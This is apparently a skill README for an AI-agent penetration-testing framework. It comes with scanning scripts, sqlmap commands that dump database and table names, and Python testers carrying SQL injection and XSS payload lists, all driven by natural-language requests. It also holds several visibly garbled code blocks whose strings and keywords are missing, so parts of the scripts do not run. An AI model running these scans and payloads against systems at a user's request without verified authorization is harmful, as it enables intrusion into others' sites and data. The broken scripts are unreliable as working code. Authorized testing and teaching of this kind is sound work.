| name | pentest-skills-framework |
| description | Natural language-driven penetration testing framework with modular skills for recon, exploitation, and security testing using AI agents |
| triggers | ["scan for open ports and services","enumerate subdomains for this target","test for SQL injection vulnerabilities","check for XSS vulnerabilities","perform directory enumeration","fingerprint web application technologies","test for local file inclusion","run a penetration test on this target"] |
Pentest-Skills Framework
Skill by ara.so — Security Skills collection.
A modular penetration testing framework designed for AI CLI tools (Claude Code, Gemini CLI, Cursor) that enables professional security testing through natural language commands. Each skill contains knowledge documents, automation scripts, reference documentation, and resource files.
What It Does
Pentest-Skills provides atomic-level capabilities for penetration testing workflows:
- Information Gathering: Port scanning, subdomain enumeration, directory scanning, fingerprinting
- Vulnerability Exploitation: SQL injection, XSS, LFI, file download vulnerabilities
- Natural Language Interface: Describe testing goals in plain language; AI selects tools and executes
- Automated Analysis: AI interprets results and generates actionable reports
Installation
Prerequisites
Install required tools based on skills you'll use:
sudo apt update
sudo apt install -y nmap python3 python3-pip git
brew install nmap python3 git
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
go install -v github.com/ffuf/ffuf/v2@latest
pip3 install sqlmap xsstrike dalfox
Install Skills
git clone https://github.com/crazyMarky/pentest-skills.git
cd pentest-skills
mkdir -p ~/.claude/skills
cp -r * ~/.claude/skills/
cp -r recon-port-scan ~/.claude/skills/
cp -r exploit-sqli ~/.claude/skills/
Restart your AI coding agent to load the skills.
Skill Structure
Each skill follows this pattern:
skill-name/
├── SKILL.md # Core documentation (AI trigger)
├── scripts/ # Automation scripts (Python/Bash)
│ ├── helper.py
│ └── analyze.sh
├── references/ # Detailed tool documentation
│ └── tool-guide.md
└── assets/ # Dictionaries, payloads, resources
└── wordlists/
Usage Patterns
Port Scanning (recon-port-scan)
Natural language:
Scan localhost for open ports and analyze service versions
Direct tool usage:
nmap -sV -T4 localhost
nmap -sV -sC -p- -T4 192.168.1.100
rustscan -a 192.168.1.100 -- -sV -sC
Python script automation:
import nmap
import sys
def scan_target(target, ports="1-1000"):
nm = nmap.PortScanner()
print(f"Scanning {target} ports {ports}...")
nm.scan(target, ports, arguments='-sV -sC -T4')
for host in nm.all_hosts():
print(f"\nHost: {host} ({nm[host].hostname()})")
print(f"State: {nm[host].state()}")
for proto in nm[host].all_protocols():
ports = nm[host][proto].keys()
for port in sorted(ports):
port_info = nm[host][proto][port]
print(f" {port}/tcp {port_info['state']} "
f"{port_info['name']} {port_info.get('version', 'N/A')}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python port_scanner.py <target> [ports]")
sys.exit(1)
target = sys.argv[1]
ports = sys.argv[2] if len(sys.argv) >
scan_target(target, ports)
Run:
python scripts/port_scanner.py 192.168.1.100
Subdomain Enumeration (recon-subdomain)
Natural language:
Find all subdomains for example.com
Direct tool usage:
subfinder -d example.com -o subdomains.txt
cat subdomains.txt | dnsx -resp -o live-subdomains.txt
cat live-subdomains.txt | httpx -status-code -title -tech-detect
Automation script:
import subprocess
import sys
def enumerate_subdomains(domain):
print(f"Enumerating subdomains for {domain}...")
subfinder_cmd = ["subfinder", "-d", domain, "-silent"]
result = subprocess.run(subfinder_cmd, capture_output=True, text=True)
subdomains = result.stdout.strip().split('\n')
print(f"Found {len(subdomains)} subdomains")
print("Verifying live subdomains...")
live_subs = []
for sub in subdomains:
dnsx_cmd = ["dnsx", "-silent", "-resp"]
proc = subprocess.run(dnsx_cmd, input=sub, capture_output=True, text=True)
if proc.stdout.strip():
live_subs.append(sub)
print(f" ✓ {sub}")
return live_subs
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python subdomain_enum.py <domain>")
sys.exit(1)
domain = sys.argv[1]
live = enumerate_subdomains(domain)
with (, ) f:
f.write(.join(live))
SQL Injection Testing (exploit-sqli)
Natural language:
Test this URL for SQL injection: http://target.com/page.php?id=1
Direct tool usage:
sqlmap -u "http://target.com/page.php?id=1" --batch
sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" --batch
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
Testing script:
import requests
import sys
def test_sql_injection(url, param):
payloads = [
"'", "\"", "' OR '1'='1", "\" OR \"1\"=\"1",
"' OR 1=1--", "\" OR 1=1--",
"') OR ('1'='1", "\") OR (\"1\"=\"1"
]
print(f"Testing {url} parameter: {param}")
for payload in payloads:
test_url = f"{url}?{param}={payload}"
try:
response = requests.get(test_url, timeout=5)
sql_errors = [
"SQL syntax", "mysql_fetch", "Warning: mysql",
"PostgreSQL", "pg_query", "ORA-", "SQLite",
"ODBC", "JET Database"
]
for error in sql_errors:
if error.lower() in response.text.lower():
print(f" [VULNERABLE] Payload: {payload}")
print(f" Error found: {error}")
return
Exception e:
()
()
__name__ == :
(sys.argv) < :
()
sys.exit()
url = sys.argv[]
param = sys.argv[]
test_sql_injection(url, param)
XSS Testing (exploit-xss)
Natural language:
Check for XSS vulnerabilities in this form parameter
Direct tool usage:
xsstrike -u "http://target.com/search?q=test"
dalfox url "http://target.com/search?q=test"
curl "http://target.com/search?q=<script>alert(1)</script>"
Testing script:
import requests
from urllib.parse import urlencode
import sys
def test_xss(url, params):
payloads = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"<svg onload=alert('XSS')>",
"javascript:alert('XSS')",
"<iframe src=javascript:alert('XSS')>",
"'-alert('XSS')-'",
"\"><script>alert('XSS')</script>",
"<body onload=alert('XSS')>"
]
vulnerable = []
for payload in payloads:
test_params = params.copy()
for key in test_params:
test_params[key] = payload
try:
response = requests.get(url, params=test_params, timeout=5)
if payload in response.text:
print(f" [VULNERABLE] Reflected payload: {payload}")
vulnerable.append(payload)
except Exception as e:
print(f" [ERROR] {payload}: {e}")
return vulnerable
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: python xss_tester.py <url> <param>=<value>")
sys.exit(1)
url = sys.argv[]
params = {}
arg sys.argv[:]:
k, v = arg.split(, )
params[k] = v
()
vulns = test_xss(url, params)
vulns:
()
:
()
Directory Enumeration (recon-dir-scan)
Natural language:
Enumerate directories and files on http://target.com
Direct tool usage:
ffuf -u http://target.com/FUZZ -w /path/to/wordlist.txt -mc 200,301,302
gobuster dir -u http://target.com -w /path/to/wordlist.txt
feroxbuster -u http://target.com -w /path/to/wordlist.txt
Configuration
Environment Variables
Store sensitive data in environment variables:
export SHODAN_API_KEY="your_api_key_here"
export VIRUSTOTAL_API_KEY="your_api_key_here"
export DB_HOST="localhost"
export DB_USER="pentester"
export DB_PASS="your_password_here"
export HTTP_PROXY="http://127.0.0.1:8080"
export HTTPS_PROXY="http://127.0.0.1:8080"
Skill Configuration
Each skill can have a config.yaml:
nmap:
default_timing: T4
default_ports: 1-65535
scripts: true
masscan:
rate: 10000
wait: 10
output:
format: json
save_path: ./results
Common Patterns
Chaining Multiple Skills
import subprocess
import json
def full_reconnaissance(target):
results = {}
print("[1/4] Port scanning...")
nmap_result = subprocess.run(
["nmap", "-sV", "-oJ", "-", target],
capture_output=True, text=True
)
results['ports'] = json.loads(nmap_result.stdout)
if not target.replace('.', '').isdigit():
print("[2/4] Subdomain enumeration...")
subfinder_result = subprocess.run(
["subfinder", "-d", target, "-silent"],
capture_output=True, text=True
)
results['subdomains'] = subfinder_result.stdout.strip().split('\n')
print("[3/4] Directory enumeration...")
ffuf_result = subprocess.run(
["ffuf", "-u", f"http://{target}/FUZZ",
"-w", "wordlist.txt", "-mc", "200,301,302", "-s"],
capture_output=True, text=True
)
results['directories'] = ffuf_result.stdout.strip().split()
()
httpx_result = subprocess.run(
[, , , ],
=target, capture_output=, text=
)
results[] = httpx_result.stdout.strip()
results
__name__ == :
sys
(sys.argv) < :
()
sys.exit()
target = sys.argv[]
results = full_reconnaissance(target)
(, ) f:
json.dump(results, f, indent=)
Report Generation
from datetime import datetime
def generate_html_report(target, findings):
html = f"""
<!DOCTYPE html>
<html>
<head>
<title>Penetration Test Report - {target}</title>
<style>
body {{ font-family: Arial, sans-serif; margin: 40px; }}
.header {{ background: #2c3e50; color: white; padding: 20px; }}
.finding {{ border-left: 4px solid #e74c3c; padding: 10px; margin: 20px 0; }}
.critical {{ border-color: #e74c3c; }}
.high {{ border-color: #e67e22; }}
.medium {{ border-color: #f39c12; }}
.low {{ border-color: #3498db; }}
</style>
</head>
<body>
<div class="header">
<h1>Penetration Test Report</h1>
<p>Target: {target}</p>
<p>Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}</p>
</div>
<h2>Executive Summary</h2>
<p>Total findings: {len(findings)}</p>
<h2>Findings</h2>
"""
for finding in findings:
html += f"""
<div class="finding {finding['severity'].lower()}">
<h3>{finding['title']}</h3>
<p><strong>Severity:</strong> {finding['severity']}</p>
<p><strong>Description:</strong> {finding['description']}</p>
<p><strong>Recommendation:</strong> {finding['recommendation']}</p>
</div>
"""
html += """
</body>
</html>
"""
return html
Troubleshooting
Permission Issues
sudo nmap -sS 192.168.1.100
sudo usermod -aG pcap $USER
Tool Not Found
echo $PATH
export PATH=$PATH:$(go env GOPATH)/bin
echo 'export PATH=$PATH:$(go env GOPATH)/bin' >> ~/.bashrc
Rate Limiting
import time
def rate_limited_scan(targets, delay=1):
for target in targets:
scan_target(target)
time.sleep(delay)
Proxy Configuration
export HTTP_PROXY=http://127.0.0.1:8080
export HTTPS_PROXY=http://127.0.0.1:8080
sqlmap --proxy=http://127.0.0.1:8080 -u "http://target.com/page.php?id=1"
ffuf -x http://127.0.0.1:8080 -u http://target.com/FUZZ -w wordlist.txt
Timeout Issues
import requests
requests.get(url, timeout=30)
Legal Warning
⚠️ IMPORTANT: Only use these skills on systems you have explicit written permission to test. Unauthorized testing is illegal and punishable under cybercrime laws (e.g., CFAA in the US, Computer Misuse Act in the UK). Always:
- Obtain written authorization
- Follow local laws and regulations
- Use only for authorized penetration tests, CTF competitions, or educational purposes
- Take full responsibility for your actions
Available Skills
recon-port-scan - Port scanning and service identification
recon-subdomain - Subdomain enumeration and DNS reconnaissance
recon-dir-scan - Directory and file enumeration
recon-fingerprint - Web fingerprinting and WAF detection
exploit-sqli - SQL injection detection and exploitation
exploit-xss - Cross-site scripting detection
exploit-lfi - Local file inclusion and directory traversal
exploit-file-download - Insecure file download and path traversal
Each skill is independently loadable and contains complete documentation, scripts, and resources.